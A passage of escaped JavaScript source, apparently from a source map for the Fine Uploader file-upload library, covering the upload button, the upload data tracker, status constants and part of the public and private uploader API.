}\n\n        if (options.acceptFiles) {\n            input.setAttribute(\"accept\", options.acceptFiles);\n        }\n\n        input.setAttribute(\"type\", \"file\");\n        input.setAttribute(\"name\", options.name);\n\n        qq(input).css({\n            position: \"absolute\",\n            // in Opera only 'browse' button\n            // is clickable and it is located at\n            // the right side of the input\n            right: 0,\n            top: 0,\n            fontFamily: \"Arial\",\n            // It's especially important to make this an arbitrarily large value\n            // to ensure the rendered input button in IE takes up the entire\n            // space of the container element.  Otherwise, the left side of the\n            // button will require a double-click to invoke the file chooser.\n            // In other browsers, this might cause other issues, so a large font-size\n            // is only used in IE.  There is a bug in IE8 where the opacity style is  ignored\n            // in some cases when the font-size is large.  So, this workaround is not applied\n            // to IE8.\n            fontSize: qq.ie() && !qq.ie8() ? \"3500px\" : \"118px\",\n            margin: 0,\n            padding: 0,\n            cursor: \"pointer\",\n            opacity: 0\n        });\n\n        // Setting the file input's height to 100% in IE7 causes\n        // most of the visible button to be unclickable.\n        !qq.ie7() && qq(input).css({height: \"100%\"});\n\n        options.element.appendChild(input);\n\n        disposeSupport.attach(input, \"change\", function() {\n            options.onChange(input);\n        });\n\n        // **These event handlers will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n        disposeSupport.attach(input, \"mouseover\", function() {\n            qq(options.element).addClass(options.hoverClass);\n        });\n        disposeSupport.attach(input, \"mouseout\", function() {\n            qq(options.element).removeClass(options.hoverClass);\n        });\n\n        disposeSupport.attach(input, \"focus\", function() {\n            qq(options.element).addClass(options.focusClass);\n        });\n        disposeSupport.attach(input, \"blur\", function() {\n            qq(options.element).removeClass(options.focusClass);\n        });\n\n        return input;\n    }\n\n    // Make button suitable container for input\n    qq(options.element).css({\n        position: \"relative\",\n        overflow: \"hidden\",\n        // Make sure browse button is in the right side in Internet Explorer\n        direction: \"ltr\"\n    });\n\n    // Exposed API\n    qq.extend(this, {\n        getInput: function() {\n            return input;\n        },\n\n        getButtonId: function() {\n            return buttonId;\n        },\n\n        setMultiple: function(isMultiple, optInput) {\n            var input = optInput || this.getInput();\n\n            // Temporary workaround for bug in in iOS8 UIWebView that causes the browser to crash\n            // before the file chooser appears if the file input doesn't contain a multiple attribute.\n            // See #1283.\n            if (options.ios8BrowserCrashWorkaround && qq.ios8() && (qq.iosChrome() || qq.iosSafariWebView())) {\n                input.setAttribute(\"multiple\", \"\");\n            }\n\n            else {\n                if (isMultiple) {\n                    input.setAttribute(\"multiple\", \"\");\n                }\n                else {\n                    input.removeAttribute(\"multiple\");\n                }\n            }\n        },\n\n        setAcceptFiles: function(acceptFiles) {\n            if (acceptFiles !== options.acceptFiles) {\n                input.setAttribute(\"accept\", acceptFiles);\n            }\n        },\n\n        reset: function() {\n            if (input.parentNode) {\n                qq(input).remove();\n            }\n\n            qq(options.element).removeClass(options.focusClass);\n            input = null;\n            input = createInput();\n        }\n    });\n\n    input = createInput();\n};\n\nqq.UploadButton.BUTTON_ID_ATTR_NAME = \"qq-button-id\";\n","/*globals qq */\nqq.UploadData = function(uploaderProxy) {\n    \"use strict\";\n\n    var data = [],\n        byUuid = {},\n        byStatus = {},\n        byProxyGroupId = {},\n        byBatchId = {};\n\n    function getDataByIds(idOrIds) {\n        if (qq.isArray(idOrIds)) {\n            var entries = [];\n\n            qq.each(idOrIds, function(idx, id) {\n                entries.push(data[id]);\n            });\n\n            return entries;\n        }\n\n        return data[idOrIds];\n    }\n\n    function getDataByUuids(uuids) {\n        if (qq.isArray(uuids)) {\n            var entries = [];\n\n            qq.each(uuids, function(idx, uuid) {\n                entries.push(data[byUuid[uuid]]);\n            });\n\n            return entries;\n        }\n\n        return data[byUuid[uuids]];\n    }\n\n    function getDataByStatus(status) {\n        var statusResults = [],\n            statuses = [].concat(status);\n\n        qq.each(statuses, function(index, statusEnum) {\n            var statusResultIndexes = byStatus[statusEnum];\n\n            if (statusResultIndexes !== undefined) {\n                qq.each(statusResultIndexes, function(i, dataIndex) {\n                    statusResults.push(data[dataIndex]);\n                });\n            }\n        });\n\n        return statusResults;\n    }\n\n    qq.extend(this, {\n        /**\n         * Adds a new file to the data cache for tracking purposes.\n         *\n         * @param spec Data that describes this file.  Possible properties are:\n         *\n         * - uuid: Initial UUID for this file.\n         * - name: Initial name of this file.\n         * - size: Size of this file, omit if this cannot be determined\n         * - status: Initial `qq.status` for this file.  Omit for `qq.status.SUBMITTING`.\n         * - batchId: ID of the batch this file belongs to\n         * - proxyGroupId: ID of the proxy group associated with this file\n         *\n         * @returns {number} Internal ID for this file.\n         */\n        addFile: function(spec) {\n            var status = spec.status || qq.status.SUBMITTING,\n                id = data.push({\n                    name: spec.name,\n                    originalName: spec.name,\n                    uuid: spec.uuid,\n                    size: spec.size == null ? -1 : spec.size,\n                    status: status\n                }) - 1;\n\n            if (spec.batchId) {\n                data[id].batchId = spec.batchId;\n\n                if (byBatchId[spec.batchId] === undefined) {\n                    byBatchId[spec.batchId] = [];\n                }\n                byBatchId[spec.batchId].push(id);\n            }\n\n            if (spec.proxyGroupId) {\n                data[id].proxyGroupId = spec.proxyGroupId;\n\n                if (byProxyGroupId[spec.proxyGroupId] === undefined) {\n                    byProxyGroupId[spec.proxyGroupId] = [];\n                }\n                byProxyGroupId[spec.proxyGroupId].push(id);\n            }\n\n            data[id].id = id;\n            byUuid[spec.uuid] = id;\n\n            if (byStatus[status] === undefined) {\n                byStatus[status] = [];\n            }\n            byStatus[status].push(id);\n\n            uploaderProxy.onStatusChange(id, null, status);\n\n            return id;\n        },\n\n        retrieve: function(optionalFilter) {\n            if (qq.isObject(optionalFilter) && data.length)  {\n                if (optionalFilter.id !== undefined) {\n                    return getDataByIds(optionalFilter.id);\n                }\n\n                else if (optionalFilter.uuid !== undefined) {\n                    return getDataByUuids(optionalFilter.uuid);\n                }\n\n                else if (optionalFilter.status) {\n                    return getDataByStatus(optionalFilter.status);\n                }\n            }\n            else {\n                return qq.extend([], data, true);\n            }\n        },\n\n        reset: function() {\n            data = [];\n            byUuid = {};\n            byStatus = {};\n            byBatchId = {};\n        },\n\n        setStatus: function(id, newStatus) {\n            var oldStatus = data[id].status,\n                byStatusOldStatusIndex = qq.indexOf(byStatus[oldStatus], id);\n\n            byStatus[oldStatus].splice(byStatusOldStatusIndex, 1);\n\n            data[id].status = newStatus;\n\n            if (byStatus[newStatus] === undefined) {\n                byStatus[newStatus] = [];\n            }\n            byStatus[newStatus].push(id);\n\n            uploaderProxy.onStatusChange(id, oldStatus, newStatus);\n        },\n\n        uuidChanged: function(id, newUuid) {\n            var oldUuid = data[id].uuid;\n\n            data[id].uuid = newUuid;\n            byUuid[newUuid] = id;\n            delete byUuid[oldUuid];\n        },\n\n        updateName: function(id, newName) {\n            data[id].name = newName;\n        },\n\n        updateSize: function(id, newSize) {\n            data[id].size = newSize;\n        },\n\n        // Only applicable if this file has a parent that we may want to reference later.\n        setParentId: function(targetId, parentId) {\n            data[targetId].parentId = parentId;\n        },\n\n        getIdsInProxyGroup: function(id) {\n            var proxyGroupId = data[id].proxyGroupId;\n\n            if (proxyGroupId) {\n                return byProxyGroupId[proxyGroupId];\n            }\n            return [];\n        },\n\n        getIdsInBatch: function(id) {\n            var batchId = data[id].batchId;\n\n            return byBatchId[batchId];\n        }\n    });\n};\n\nqq.status = {\n    SUBMITTING: \"submitting\",\n    SUBMITTED: \"submitted\",\n    REJECTED: \"rejected\",\n    QUEUED: \"queued\",\n    CANCELED: \"canceled\",\n    PAUSED: \"paused\",\n    UPLOADING: \"uploading\",\n    UPLOAD_RETRYING: \"retrying upload\",\n    UPLOAD_SUCCESSFUL: \"upload successful\",\n    UPLOAD_FAILED: \"upload failed\",\n    DELETE_FAILED: \"delete failed\",\n    DELETING: \"deleting\",\n    DELETED: \"deleted\"\n};\n","/*globals qq*/\n/**\n * Defines the public API for FineUploaderBasic mode.\n */\n(function() {\n    \"use strict\";\n\n    qq.basePublicApi = {\n        // DEPRECATED - TODO REMOVE IN NEXT MAJOR RELEASE (replaced by addFiles)\n        addBlobs: function(blobDataOrArray, params, endpoint) {\n            this.addFiles(blobDataOrArray, params, endpoint);\n        },\n\n        addInitialFiles: function(cannedFileList) {\n            var self = this;\n\n            qq.each(cannedFileList, function(index, cannedFile) {\n                self._addCannedFile(cannedFile);\n            });\n        },\n\n        addFiles: function(data, params, endpoint) {\n            this._maybeHandleIos8SafariWorkaround();\n\n            var batchId = this._storedIds.length === 0 ? qq.getUniqueId() : this._currentBatchId,\n\n                processBlob = qq.bind(function(blob) {\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processBlobData = qq.bind(function(blobData) {\n                    this._handleNewFile(blobData, batchId, verifiedFiles);\n                }, this),\n\n                processCanvas = qq.bind(function(canvas) {\n                    var blob = qq.canvasToBlob(canvas);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName + \".png\"\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processCanvasData = qq.bind(function(canvasData) {\n                    var normalizedQuality = canvasData.quality && canvasData.quality / 100,\n                        blob = qq.canvasToBlob(canvasData.canvas, canvasData.type, normalizedQuality);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: canvasData.name\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processFileOrInput = qq.bind(function(fileOrInput) {\n                    if (qq.isInput(fileOrInput) && qq.supportedFeatures.ajaxUploading) {\n                        var files = Array.prototype.slice.call(fileOrInput.files),\n                            self = this;\n\n                        qq.each(files, function(idx, file) {\n                            self._handleNewFile(file, batchId, verifiedFiles);\n                        });\n                    }\n                    else {\n                        this._handleNewFile(fileOrInput, batchId, verifiedFiles);\n                    }\n                }, this),\n\n                normalizeData = function() {\n                    if (qq.isFileList(data)) {\n                        data = Array.prototype.slice.call(data);\n                    }\n                    data = [].concat(data);\n                },\n\n                self = this,\n                verifiedFiles = [];\n\n            this._currentBatchId = batchId;\n\n            if (data) {\n                normalizeData();\n\n                qq.each(data, function(idx, fileContainer) {\n                    if (qq.isFileOrInput(fileContainer)) {\n                        processFileOrInput(fileContainer);\n                    }\n                    else if (qq.isBlob(fileContainer)) {\n                        processBlob(fileContainer);\n                    }\n                    else if (qq.isObject(fileContainer)) {\n                        if (fileContainer.blob && fileContainer.name) {\n                            processBlobData(fileContainer);\n                        }\n                        else if (fileContainer.canvas && fileContainer.name) {\n                            processCanvasData(fileContainer);\n                        }\n                    }\n                    else if (fileContainer.tagName && fileContainer.tagName.toLowerCase() === \"canvas\") {\n                        processCanvas(fileContainer);\n                    }\n                    else {\n                        self.log(fileContainer + \" is not a valid file container!  Ignoring!\", \"warn\");\n                    }\n                });\n\n                this.log(\"Received \" + verifiedFiles.length + \" files.\");\n                this._prepareItemsForUpload(verifiedFiles, params, endpoint);\n            }\n        },\n\n        cancel: function(id) {\n            this._handler.cancel(id);\n        },\n\n        cancelAll: function() {\n            var storedIdsCopy = [],\n                self = this;\n\n            qq.extend(storedIdsCopy, this._storedIds);\n            qq.each(storedIdsCopy, function(idx, storedFileId) {\n                self.cancel(storedFileId);\n            });\n\n            this._handler.cancelAll();\n        },\n\n        clearStoredFiles: function() {\n            this._storedIds = [];\n        },\n\n        continueUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            if (uploadData.status === qq.status.PAUSED) {\n                this.log(qq.format(\"Paused file ID {} ({}) will be continued.  Not paused.\", id, this.getName(id)));\n                this._uploadFile(id);\n                return true;\n            }\n            else {\n                this.log(qq.format(\"Ignoring continue for file ID {} ({}).  Not paused.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        deleteFile: function(id) {\n            return this._onSubmitDelete(id);\n        },\n\n        // TODO document?\n        doesExist: function(fileOrBlobId) {\n            return this._handler.isValid(fileOrBlobId);\n        },\n\n        // Generate a variable size thumbnail on an img or canvas,\n        // returning a promise that is fulfilled when the attempt completes.\n        // Thumbnail can either be based off of a URL for an image returned\n        // by the server in the upload response, or the associated `Blob`.\n        drawThumbnail: function(fileId, imgOrCanvas, maxSize, fromServer, customResizeFunction) {\n            var promiseToReturn = new qq.Promise(),\n                fileOrUrl, options;\n\n            if (this._imageGenerator) {\n                fileOrUrl = this._thumbnailUrls[fileId];\n                options = {\n                    customResizeFunction: customResizeFunction,\n                    maxSize: maxSize > 0 ? maxSize : null,\n                    scale: maxSize > 0\n                };\n\n                // If client-side preview generation is possible\n                // and we are not specifically looking for the image URl returned by the server...\n                if (!fromServer && qq.supportedFeatures.imagePreviews) {\n                    fileOrUrl = this.getFile(fileId);\n                }\n\n                /* jshint eqeqeq:false,eqnull:true */\n                if (fileOrUrl == null) {\n                    promiseToReturn.failure({container: imgOrCanvas, error: \"File or URL not found.\"});\n                }\n                else {\n                    this._imageGenerator.generate(fileOrUrl, imgOrCanvas, options).then(\n                        function success(modifiedContainer) {\n                            promiseToReturn.success(modifiedContainer);\n                        },\n\n                        function failure(container, reason) {\n                            promiseToReturn.failure({container: container, error: reason || \"Problem generating thumbnail\"});\n                        }\n                    );\n                }\n            }\n            else {\n                promiseToReturn.failure({container: imgOrCanvas, error: \"Missing image generator module\"});\n            }\n\n            return promiseToReturn;\n        },\n\n        getButton: function(fileId) {\n            return this._getButton(this._buttonIdsForFileIds[fileId]);\n        },\n\n        getEndpoint: function(fileId) {\n            return this._endpointStore.get(fileId);\n        },\n\n        getFile: function(fileOrBlobId) {\n            return this._handler.getFile(fileOrBlobId) || null;\n        },\n\n        getInProgress: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED\n                ]\n            }).length;\n        },\n\n        getName: function(id) {\n            return this._uploadData.retrieve({id: id}).name;\n        },\n\n        // Parent ID for a specific file, or null if this is the parent, or if it has no parent.\n        getParentId: function(id) {\n            var uploadDataEntry = this.getUploads({id: id}),\n                parentId = null;\n\n            if (uploadDataEntry) {\n                if (uploadDataEntry.parentId !== undefined) {\n                    parentId = uploadDataEntry.parentId;\n                }\n            }\n\n            return parentId;\n        },\n\n        getResumableFilesData: function() {\n            return this._handler.getResumableFilesData();\n        },\n\n        getSize: function(id) {\n            return this._uploadData.retrieve({id: id}).size;\n        },\n\n        getNetUploads: function() {\n            return this._netUploaded;\n        },\n\n        getRemainingAllowedItems: function() {\n            var allowedItems = this._currentItemLimit;\n\n            if (allowedItems > 0) {\n                return allowedItems - this._netUploadedOrQueued;\n            }\n\n            return null;\n        },\n\n        getUploads: function(optionalFilter) {\n            return this._uploadData.retrieve(optionalFilter);\n        },\n\n        getUuid: function(id) {\n            return this._uploadData.retrieve({id: id}).uuid;\n        },\n\n        log: function(str, level) {\n            if (this._options.debug && (!level || level === \"info\")) {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str);\n            }\n            else if (level && level !== \"info\") {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str, level);\n\n            }\n        },\n\n        pauseUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            // Pause only really makes sense if the file is uploading or retrying\n            if (qq.indexOf([qq.status.UPLOADING, qq.status.UPLOAD_RETRYING], uploadData.status) >= 0) {\n                if (this._handler.pause(id)) {\n                    this._uploadData.setStatus(id, qq.status.PAUSED);\n                    return true;\n                }\n                else {\n                    this.log(qq.format(\"Unable to pause file ID {} ({}).\", id, this.getName(id)), \"error\");\n                }\n            }\n            else {\n                this.log(qq.format(\"Ignoring pause for file ID {} ({}).  Not in progress.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            this.log(\"Resetting uploader...\");\n\n            this._handler.reset();\n            this._storedIds = [];\n            this._autoRetries = [];\n            this._retryTimeouts = [];\n            this._preventRetries = [];\n            this._thumbnailUrls = [];\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n\n            this._paramsStore.reset();\n            this._endpointStore.reset();\n            this._netUploadedOrQueued = 0;\n            this._netUploaded = 0;\n            this._uploadData.reset();\n            this._buttonIdsForFileIds = [];\n\n            this._pasteHandler && this._pasteHandler.reset();\n            this._options.session.refreshOnReset && this._refreshSessionData();\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n\n            this._totalProgress && this._totalProgress.reset();\n        },\n\n        retry: function(id) {\n            return this._manualRetry(id);\n        },\n\n        scaleImage: function(id, specs) {\n            var self = this;\n\n            return qq.Scaler.prototype.scaleImage(id, specs, {\n                log: qq.bind(self.log, self),\n                getFile: qq.bind(self.getFile, self),\n                uploadData: self._uploadData\n            });\n        },\n\n        setCustomHeaders: function(headers, id) {\n            this._customHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileCustomHeaders: function(headers, id) {\n            this._deleteFileCustomHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileEndpoint: function(endpoint, id) {\n            this._deleteFileEndpointStore.set(endpoint, id);\n        },\n\n        setDeleteFileParams: function(params, id) {\n            this._deleteFileParamsStore.set(params, id);\n        },\n\n        // Re-sets the default endpoint, an endpoint for a specific file, or an endpoint for a specific button\n        setEndpoint: function(endpoint, id) {\n            this._endpointStore.set(endpoint, id);\n        },\n\n        setForm: function(elementOrId) {\n            this._updateFormSupportAndParams(elementOrId);\n        },\n\n        setItemLimit: function(newItemLimit) {\n            this._currentItemLimit = newItemLimit;\n        },\n\n        setName: function(id, newName) {\n            this._uploadData.updateName(id, newName);\n        },\n\n        setParams: function(params, id) {\n            this._paramsStore.set(params, id);\n        },\n\n        setUuid: function(id, newUuid) {\n            return this._uploadData.uuidChanged(id, newUuid);\n        },\n\n        uploadStoredFiles: function() {\n            if (this._storedIds.length === 0) {\n                this._itemError(\"noFilesError\");\n            }\n            else {\n                this._uploadStoredFiles();\n            }\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploaderBasic mode.\n     */\n    qq.basePrivateApi = {\n        // Updates internal state with a file record (not backed by a live file).  Returns the assigned ID.\n        _addCannedFile: function(sessionData) {\n            var id = this._uploadData.addFile({\n                uuid: sessionData.uuid,\n                name: sessionData.name,\n                size: sessionData.size,\n                status: qq.status.UPLOAD_SUCCESSFUL\n            });\n\n            sessionData.deleteFileEndpoint && this.setDeleteFileEndpoint(sessionData.deleteFileEndpoint, id);\n            sessionData.deleteFileParams && this.setDeleteFileParams(sessionData.deleteFileParams, id);\n\n            if (sessionData.thumbnailUrl) {\n                this._thumbnailUrls[id] = sessionData.thumbnailUrl;\n            }\n\n            this._netUploaded++;\n            this._netUploadedOrQueued++;\n\n            return id;\n        },\n\n        _annotateWithButtonId: function(file, associatedInput) {\n            if (qq.isFile(file)) {\n                file.qqButtonId = this._getButtonId(associatedInput);\n            }\n        },\n\n        _batchError: function(message) {\n            this._options.callbacks.onError(null, null, message, undefined);\n        },\n\n        _createDeleteHandler: function() {\n            var self = this;\n\n            return new qq.DeleteFileAjaxRequester({\n                method: this._options.deleteFile.method.toUpperCase(),\n                maxConnections: this._options.maxConnections,\n                uuidParamName: this._options.request.uuidName,\n                customHeaders: this._deleteFileCustomHeadersStore,\n                paramsStore: this._deleteFileParamsStore,\n                endpointStore: this._deleteFileEndpointStore,\n                cors: this._options.cors,\n                log: qq.bind(self.log, self),\n                onDelete: function(id) {\n                    self._onDelete(id);\n                    self._options.callbacks.onDelete(id);\n                },\n                onDeleteComplete: function(id, xhrOrXdr, isError) {\n                    self._onDeleteComplete(id, xhrOrXdr, isError);\n                    self._options.callbacks.onDeleteComplete(id, xhrOrXdr, isError);\n                }\n\n            });\n        },\n\n        _createPasteHandler: function() {\n            var self = this;\n\n            return new qq.PasteSupport({\n                targetElement: this._options.paste.targetElement,\n                callbacks: {\n                    log: qq.bind(self.log, self),\n                    pasteReceived: function(blob) {\n                        self._handleCheckedCallback({\n                            name: \"onPasteReceived\",\n                            callback: qq.bind(self._options.callbacks.onPasteReceived, self, blob),\n                            onSuccess: qq.bind(self._handlePasteSuccess, self, blob),\n                            identifier: \"pasted image\"\n                        });\n                    }\n                }\n            });\n        },\n\n        _createStore: function(initialValue, _readOnlyValues_) {\n            var store = {},\n                catchall = initialValue,\n                perIdReadOnlyValues = {},\n                readOnlyValues = _readOnlyValues_,\n                copy = function(orig) {\n                    if (qq.isObject(orig)) {\n                        return qq.extend({}, orig);\n                    }\n                    return orig;\n                },\n                getReadOnlyValues = function() {\n                    if (qq.isFunction(readOnlyValues)) {\n                        return readOnlyValues();\n                    }\n                    return readOnlyValues;\n                },\n                includeReadOnlyValues = function(id, existing) {\n                    if (readOnlyValues && qq.isObject(existing)) {\n                        qq.extend(existing, getReadOnlyValues());\n                    }\n\n                    if (perIdReadOnlyValues[id]) {\n                        qq.extend(existing, perIdReadOnlyValues[id]);\n                    }\n                };\n\n            return {\n                set: function(val, id) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id == null) {\n                        store = {};\n                        catchall = copy(val);\n                    }\n                    else {\n                        store[id] = copy(val);\n                    }\n                },\n\n                get: function(id) {\n                    var values;\n\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id != null && store[id]) {\n                        values = store[id];\n                    }\n                    else {\n                        values = copy(catchall);\n                    }\n\n                    includeReadOnlyValues(id, values);\n\n                    return copy(values);\n                },\n\n                addReadOnly: function(id, values) {\n                    // Only applicable to Object stores\n                    if (qq.isObject(store)) {\n                        // If null ID, apply readonly values to all files\n                        if (id === null) {\n                            if (qq.isFunction(values)) {\n                                readOnlyValues = values;\n                            }\n                            else {\n                                readOnlyValues = readOnlyValues || {};\n                                qq.extend(readOnlyValues, values);\n                            }\n                        }\n                        else {\n                            perIdReadOnlyValues[id] = perIdReadOnlyValues[id] || {};\n                            qq.extend(perIdReadOnlyValues[id], values);\n                        }\n                    }\n                },\n\n                remove: function(fileId) {\n                    return delete store[fileId];\n                },\n\n                reset: function() {\n                    store = {};\n                    perIdReadOnlyValues = {};\n                    catchall = initialValue;\n                }\n            };\n        },\n\n        _createUploadDataTracker: function() {\n            var self = this;\n\n            return new qq.UploadData({\n                getName: function(id) {\n                    return self.getName(id);\n                },\n                getUuid: function(id) {\n                    return self.getUuid(id);\n                },\n                getSize: function(id) {\n                    return self.getSize(id);\n                },\n                onStatusChange: function(id, oldStatus, newStatus) {\n                    self._onUploadStatusChange(id, oldStatus, newStatus);\n                    self._options.callbacks.onStatusChange(id, oldStatus, newStatus);\n                    self._maybeAllComplete(id, newStatus);\n\n                    if (self._totalProgress) {\n                        setTimeout(function() {\n                            self._totalProgress.onStatusChange(id, oldStatus, newStatus);\n                        }, 0);\n                    }\n                }\n            });\n        },\n\n        /**\n         * Generate a tracked upload button.\n         *\n         * @param spec Object containing a required `element` property\n         * along with optional `multiple`, `accept`, and `folders`.\n         * @returns {qq.UploadButton}\n         * @private\n         */\n        _createUploadButton: function(spec) {\n            var self = this,\n                acceptFiles = spec.accept || this._options.validation.acceptFiles,\n                allowedExtensions = spec.allowedExtensions || this._options.validation.allowedExtensions,\n                button;\n\n            function allowMultiple() {\n                if (qq.supportedFeatures.ajaxUploading) {\n                    // Workaround for bug in iOS7+ (see #1039)\n                    if (self._options.workarounds.iosEmptyVideos &&\n                        qq.ios() &&\n                        !qq.ios6() &&\n                        self._isAllowedExtension(allowedExtensions, \".mov\")) {\n\n                        return false;\n                    }\n\n                    if (spec.multiple === undefined) {\n                        return self._options.multiple;\n                    }\n\n                    return spec.multiple;\n                }\n\n                return false;\n            }\n\n            button = new qq.UploadButton({\n                acceptFiles: acceptFiles,\n                element: spec.element,\n                focusClass: this._options.classes.buttonFocus,\n                folders: spec.folders,\n                hoverClass: this._options.classes.buttonHover,\n                ios8BrowserCrashWorkaround: this._options.workarounds.ios8BrowserCrash,\n                multiple: allowMultiple(),\n                name: this._options.request.inputName,\n                onChange: function(input) {\n                    self._onInputChange(input);\n                },\n                title: spec.title == null ? this._options.text.fileInputTitle : spec.title\n            });\n\n            this._disposeSupport.addDisposer(function() {\n                button.dispose();\n            });\n\n            self._buttons.push(button);\n\n            return button;\n        },\n\n        _createUploadHandler: function(additionalOptions, namespace) {\n            var self = this,\n                lastOnProgress = {},\n                options = {\n                    debug: this._options.debug,\n                    maxConnections: this._options.maxConnections,\n                    cors: this._options.cors,\n                    paramsStore: this._paramsStore,\n                    endpointStore: this._endpointStore,\n                    chunking: this._options.chunking,\n                    resume: this._options.resume,\n                    blobs: this._options.blobs,\n                    log: qq.bind(self.log, self),\n                    preventRetryParam: this._options.retry.preventRetryResponseProperty,\n                    onProgress: function(id, name, loaded, total) {\n                        if (loaded < 0 || total < 0) {\n                            return;\n                        }\n\n                        if (lastOnProgress[id]) {\n                            if (lastOnProgress[id].loaded !== loaded || lastOnProgress[id].total !== total) {\n                                self._onProgress(id, name, loaded, total);\n                                self._options.callbacks.onProgress(id, name, loaded, total);\n                            }\n                        }\n                        else {\n                            self._onProgress(id, name, loaded, total);\n                            self._options.callbacks.onProgress(id, name, loaded, total);\n                        }\n\n                        lastOnProgress[id] = {loaded: loaded, total: total};\n\n                    },\n                    onComplete: function(id, name, result, xhr) {\n                        delete lastOnProgress[id];\n\n                        var status = self.getUploads({id: id}).status,\n                            retVal;\n\n                        // This is to deal with some observed cases where the XHR readyStateChange handler is\n                        // invoked by the browser multiple times for the same XHR instance with the same state\n                        // readyState value.  Higher level: don't invoke complete-related code if we've already\n                        // done this.\n                        if (status === qq.status.UPLOAD_SUCCESSFUL || status === qq.status.UPLOAD_FAILED) {\n                            return;\n                        }\n\n                        retVal = self._onComplete(id, name, result, xhr);\n\n                        // If the internal `_onComplete` handler returns a promise, don't invoke the `onComplete` callback\n                        // until the promise has been fulfilled.\n                        if (retVal instanceof  qq.Promise) {\n                            retVal.done(function() {\n                                self._options.callbacks.onComplete(id, name, result, xhr);\n                            });\n                        }\n                        else {\n                            self._options.callbacks.onComplete(id, name, result, xhr);\n                        }\n                    },\n                    onCancel: function(id, name, cancelFinalizationEffort) {\n                        var promise = new qq.Promise();\n\n                        self._handleCheckedCallback({\n                            name: \"onCancel\",\n                            callback: qq.bind(self._options.callbacks.onCancel, self, id, name),\n                            onFailure: promise.failure,\n                            onSuccess: function() {\n                                cancelFinalizationEffort.then(function() {\n                                    self._onCancel(id, name);\n                                });\n\n                                promise.success();\n                            },\n                            identifier: id\n                        });\n\n                        return promise;\n                    },\n                    onUploadPrep: qq.bind(this._onUploadPrep, this),\n                    onUpload: function(id, name) {\n                        self._onUpload(id, name);\n                        self._options.callbacks.onUpload(id, name);\n                    },\n                    onUploadChunk: function(id, name, chunkData) {\n                        self._onUploadChunk(id, chunkData);\n                        self._options.callbacks.onUploadChunk(id, name, chunkData);\n                    },\n                    onUploadChunkSuccess: function(id, chunkData, result, xhr) {\n                        self._options.callbacks.onUploadChunkSuccess.apply(self, arguments);\n                    },\n                    onResume: function(id, name, chunkData) {\n                        return self._options.callbacks.onResume(id, name, chunkData);\n                    },\n                    onAutoRetry: function(id, name, responseJSON, xhr) {\n                        return self._onAutoRetry.apply(self, arguments);\n                    },\n                    onUuidChanged: function(id, newUuid) {\n                        self.log(\"Server requested UUID change from '\" + self.getUuid(id) + \"' to '\" + newUuid + \"'\");\n                        self.setUuid(id, newUuid);\n                    },\n                    getName: qq.bind(self.getName, self),\n                    getUuid: qq.bind(self.getUuid, self),\n                    getSize: qq.bind(self.getSize, self),\n                    setSize: qq.bind(self._setSize, self),\n                    getDataByUuid: function(uuid) {\n                        return self.getUploads({uuid: uuid});\n                    },\n                    isQueued: function(id) {\n                        var status = self.getUploads({id: id}).status;\n                        return status === qq.status.QUEUED ||\n                            status === qq.status.SUBMITTED ||\n                            status === qq.status.UPLOAD_RETRYING ||\n                            status === qq.status.PAUSED;\n                    },\n                    getIdsInProxyGroup: self._uploadData.getIdsInProxyGroup,\n                    getIdsInBatch: self._uploadData.getIdsInBatch\n                };\n\n            qq.each(this._options.request, function(prop, val) {\n                options[prop] = val;\n            });\n\n            options.customHeaders = this._customHeadersStore;\n\n            if (additionalOptions) {\n                qq.each(additionalOptions, function(key, val) {\n                    options[key] = val;\n                });\n            }\n\n            return new qq.UploadHandlerController(options, namespace);\n        },\n\n        _fileOrBlobRejected: function(id) {\n            this._netUploadedOrQueued--;\n            this._uploadData.setStatus(id, qq.status.REJECTED);\n        },\n\n        _formatSize: function(bytes) {\n            var i = -1;\n            do {\n                bytes = bytes / 1000;\n                i++;\n            } while (bytes > 999);\n\n            return Math.max(bytes, 0.1).toFixed(1) + this._options.text.sizeSymbols[i];\n        },\n\n        // Creates an internal object that tracks various properties of each extra button,\n        // and then actually creates the extra button.\n        _generateExtraButtonSpecs: function() {\n            var self = this;\n\n            this._extraButtonSpecs = {};\n\n            qq.each(this._options.extraButtons, function(idx, extraButtonOptionEntry) {\n                var multiple = extraButtonOptionEntry.multiple,\n                    validation = qq.extend({}, self._options.validation, true),\n                    extraButtonSpec = qq.extend({}, extraButtonOptionEntry);\n\n                if (multiple === undefined) {\n                    multiple = self._options.multiple;\n                }\n\n                if (extraButtonSpec.validation) {\n                    qq.extend(validation, extraButtonOptionEntry.validation, true);\n                }\n\n                qq.extend(extraButtonSpec, {\n                    multiple: multiple,\n                    validation: validation\n                }, true);\n\n                self._initExtraButton(extraButtonSpec);\n            });\n        },\n\n        _getButton: function(buttonId) {\n            var extraButtonsSpec = this._extraButtonSpecs[buttonId];\n\n            if (extraButtonsSpec) {\n                return extraButtonsSpec.element;\n            }\n            else if (buttonId === this._defaultButtonId) {\n                return this._options.button;\n            }\n        },\n\n        /**\n         * Gets the internally used tracking ID for a 